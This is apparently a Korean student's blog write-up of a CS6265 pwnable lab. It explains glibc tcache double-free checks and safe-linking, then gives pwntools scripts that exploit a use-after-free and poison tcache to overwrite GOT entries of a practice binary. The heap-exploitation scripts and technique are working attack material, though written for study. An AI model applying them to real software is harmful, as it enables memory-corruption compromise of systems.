security/가디언

lab 09 - Heap: uaf & tcache poisoning in latest libc

민사민서 2023. 8. 26. 20:18

https://minseosavestheworld.tistory.com/180

 

[pwnable cs6265] lab 09 - Heap: double free bug in old libc(<2.26)

문제 코드 및 분석 #include #include #include #include #include #include "flag.h" #define COUNT 16 #define ASSERT(cond) if(!(cond)) exit(100); int getint() { char buf[16] = {0}; ASSERT(read(0, buf, 15) >= 1); return atoi(buf); } typedef struct { char

minseosavestheworld.tistory.com

문제 코드 및 분석은 여기 참고하면 된다

 

Double Free Detection 우회

최신 libc에서는 double free 우회가 조금 까다로워졌다. tcache 기준으로 설명해보겠다

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;

 

_int_free 함수에 따르면 tcache_entry의 key 변수 1바이트만 바꾸면 double free detection 우회가 가능하다

	if (__glibc_unlikely (e->key == tcache_key))
	  {
	    tcache_entry *tmp;
	    size_t cnt = 0;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = REVEAL_PTR (tmp->next), ++cnt)
	      {
		if (cnt >= mp_.tcache_count)
		  malloc_printerr ("free(): too many chunks detected in tcache");
		if (__glibc_unlikely (!aligned_OK (tmp)))
		  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
		if (tmp == e)
		  malloc_printerr ("free(): double free detected in tcache 2");
		/* If we get here, it was a coincidence.  We've wasted a
		   few cycles, but don't abort.  */
	      }
	  }

 

Tcache Poisoning Attack 고려사항

double free를 해서 free chunk의 next pointer를 조작할 수 있거나

uaf 취약점으로 인해 next pointer를 조작할 수 있는 상황에서 tcache poisoning이 가능하다

 

tcache에서 chunk를 가져올 때 사용하는 tcache_get 함수를 살펴보면

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *) e;
}

여기서 aligned_OK 매크로는 0x1111 mask와 AND한 값이 0인지 확인한다, 즉 addr가 16의 배수인지 확인한다

#define aligned_OK(m)  (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define SIZE_SZ (sizeof (size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) ? __alignof__ (long double) : 2 * SIZE_SZ)
/* The corresponding bit mask value.  */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

 

그리고 malloc 함수에서 tcache_get()을 이용해 chunk를 가져오는 조건을 살펴보면

  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      victim = tcache_get (tc_idx);
      return tag_new_usable (victim);
    }

 

따라서 고려사항은 다음과 같다

- next ptr이 safe-linking되어있으므로 heap addr 상위 5바이트 leak이 필요하고

- tcache에서 chunk를 가져오려면 tcache->counts[tc_idx] > 0 이어야 하며 

// tcache[0x10]: chkA -> chkB -> 0 인 상태에서 (count = 2)

// tcache[0x10]: chkA -> chkB -> targetAddr -> ??? 이렇게 poisoning 해도 tcache에서는 2개의 chunk만 꺼내온다

- aliged_OK(e)를 통과하기 위해 fake tcache chunk의 주소는 0x10의 배수여야 한다

- fake tcache chunk 주소 + 4 가 tcache_get() 내부에서 0으로 초기화되는 것도 고려해야 한다

 

UAF을 이용한 풀이

- 해제한 chunk에 대해 포인터를 초기화하지 않으므로 지속적으로 free chunk에 접근 가능하다 => UAF 취약점

- 할당 - 해제 - 할당 - 해제 - 할당 을 반복하여 notes[0], admin_ptr, notes[1] 에 동일한 chunk를 할당한다

- notes[1]의 버퍼를 수정하면 admin_ptr의 버퍼도 수정되겠지

from pwn import *

p = process("./target")

def add_note(idx, size):
// 생략
def delete_note(idx):
// 생략
def edit_note(idx, data):
// 생략
def call_admin():
// 생략

add_note(0, 32)
delete_note(0)
call_admin()
delete_note(0)
add_note(1,32)
edit_note(1, "Admin is back!\n\x00")
call_admin()

p.interactive()

 

tcache poisoning을 이용한 풀이

1. heap addr 상위 5바이트 (safe-linking mask) leak 하기

https://minseosavestheworld.tistory.com/179

 

[pwnable cs6265] tcache safe linking

https://github.com/bminor/glibc/tree/master GitHub - bminor/glibc: Unofficial mirror of sourceware glibc repository. Updated daily. Unofficial mirror of sourceware glibc repository. Updated daily. - GitHub - bminor/glibc: Unofficial mirror of sourceware gl

minseosavestheworld.tistory.com

* UAF 취약점을 이용해 admin_ptr에 할당된 chunk를 해제한다

* admin_ptr 버퍼의 내용을 출력하면 safe-linking된 next pointer leak 된다

add_note(0, 32)
delete_note(0)
call_admin() # reallocate to admin_ptr
delete_note(0) # free(admin_ptr)
call_admin() # leak next ptr
p.recvuntil("Oh, ")
key = u32(p.recv(2)+b'\x00'*2) # (chunk addr >> 12)

 

2. fake tcache chunk 어디다 만들지 고민하기

[0x804b00c] strcmp@GLIBC_2.0 -> 0x8048596 (strcmp@plt+6) ◂— push 0 /* 'h' */
[0x804b010] read@GLIBC_2.0 -> 0x80485a6 (read@plt+6) ◂— push 8
[0x804b014] printf@GLIBC_2.0 -> 0x80485b6 (printf@plt+6) ◂— push 0x10
[0x804b018] free@GLIBC_2.0 -> 0x80485c6 (free@plt+6) ◂— push 0x18
[0x804b01c] fclose@GLIBC_2.1 -> 0x80485d6 (fclose@plt+6) ◂— push 0x20 /* 'h ' */
[0x804b020] __stack_chk_fail@GLIBC_2.4 -> 0x80485e6 (__stack_chk_fail@plt+6) ◂— push 0x28 /* 'h(' */
[0x804b024] err@GLIBC_2.0 -> 0x80485f6 (err@plt+6) ◂— push 0x30 /* 'h0' */
[0x804b028] fread@GLIBC_2.0 -> 0x8048606 (fread@plt+6) ◂— push 0x38 /* 'h8' */
[0x804b02c] malloc@GLIBC_2.0 -> 0x8048616 (malloc@plt+6) ◂— push 0x40 /* 'h@' */
[0x804b030] puts@GLIBC_2.0 -> 0x8048626 (puts@plt+6) ◂— push 0x48 /* 'hH' */
[0x804b034] exit@GLIBC_2.0 -> 0x8048636 (exit@plt+6) ◂— push 0x50 /* 'hP' */
[0x804b038] __libc_start_main@GLIBC_2.0 -> 0x8048646 (__libc_start_main@plt+6) ◂— push 0x58 /* 'hX' */
[0x804b03c] setvbuf@GLIBC_2.0 -> 0x8048656 (setvbuf@plt+6) ◂— push 0x60 /* 'h`' */
[0x804b040] fopen@GLIBC_2.1 -> 0x8048666 (fopen@plt+6) ◂— push 0x68 /* 'hh' */
[0x804b044] memset@GLIBC_2.0 -> 0x8048676 (memset@plt+6) ◂— push 0x70 /* 'hp' */
[0x804b048] putchar@GLIBC_2.0 -> 0x8048686 (putchar@plt+6) ◂— push 0x78 /* 'hx' */
[0x804b04c] atoi@GLIBC_2.0 -> 0x8048696 (atoi@plt+6) ◂— push 0x80
[0x804b050] fputs@GLIBC_2.0 -> 0x80486a6 (fputs@plt+6) ◂— push 0x88

- 0x804b010 read@got을 시작지점으로 하면 memset() 과정에서 read@got = 0x0 초기화되어 read() 불가

- 0x804b040 fopen@got을 시작지점으로 하면 tcache_get() 내부 e->key = 0 동작에 의해 memset@got = 0x0 초기화되어 에러 발생

- 0x804b000 을 시작지점으로 해 strcmp@got 덮으려했으나 bss 초기에 _GLOBAL_OFFSET_TABLE_ 및  _dl_runtime_resolve 함수 주소도 있어서 덮으면 안 됨

 

=> 0x804b020 시작지점으로 해 malloc@got을 print_key 호출부로 덮거나

=> 0x804b030 시작지점으로 해 exit@got을 print_key 호출부로 덮거나

 

print_key = 0x08048ca8 # main+824

def overwrite_exit():
    puts_got = 0x804b030
    puts_plt = 0x8048620
    add_note(1, 8) # chkA
    add_note(2, 8) # chkB
    delete_note(1)
    delete_note(2) # tcache[0x10]: chkB -> chkA -> 0 (tcache->count = 2)
    add_note(3, 8) # chkB
    delete_note(2)
    edit_note(3, p32(puts_got^key)) # tcache[0x10]: chkB -> puts@got -> ???
    add_note(4, 8)
    add_note(5, 8)
    edit_note(5, p32(puts_plt+6)+p32(print_key)) # exit@got overwrite

    p.shutdown('send') # exit() trigger => print_key 호출
    p.interactive()

- print_key 인자 세팅 후 호출하는 부분의 코드를 GOT에 넣어주어야 함

- tcache->count = 2로 만들기 위해 chunk 2개 할당

- exit@got을 호출하기 위해 p.shutdown('send') 이용해 EOF signal 보냄. 입력 스트림은 닫히지만 p.interactive()를 통해 출력 내용을 받아올 수는 있음

 

def overwrite_malloc():
    stack_chk_fail_got = 0x804b020
    stack_chk_fail_plt = 0x80485e0
    err_plt = 0x80485f0
    fread_plt = 0x8048600
    add_note(1, 16)
    add_note(2, 16)
    delete_note(1)
    delete_note(2)
    add_note(3, 16)
    delete_note(2)
    edit_note(3, p32(stack_chk_fail_got^key))
    add_note(4, 16)
    add_note(5, 16)
    edit_note(5, p32(stack_chk_fail_plt+6)+p32(err_plt+6)+p32(fread_plt+6)+p32(print_key))

    add_note(6, 16) # malloc() 호출 => print_key 호출
    p.interactive()

- malloc@got 덮는 부분 말고는 전부 plt 주소를 채워주어 GOT 원복해줘야 함 (memset에 의해 초기화되므로)

- 마찬가지로 print_key 인자 세팅 후 호출하는 부분의 코드를 GOT에 넣어주어야 함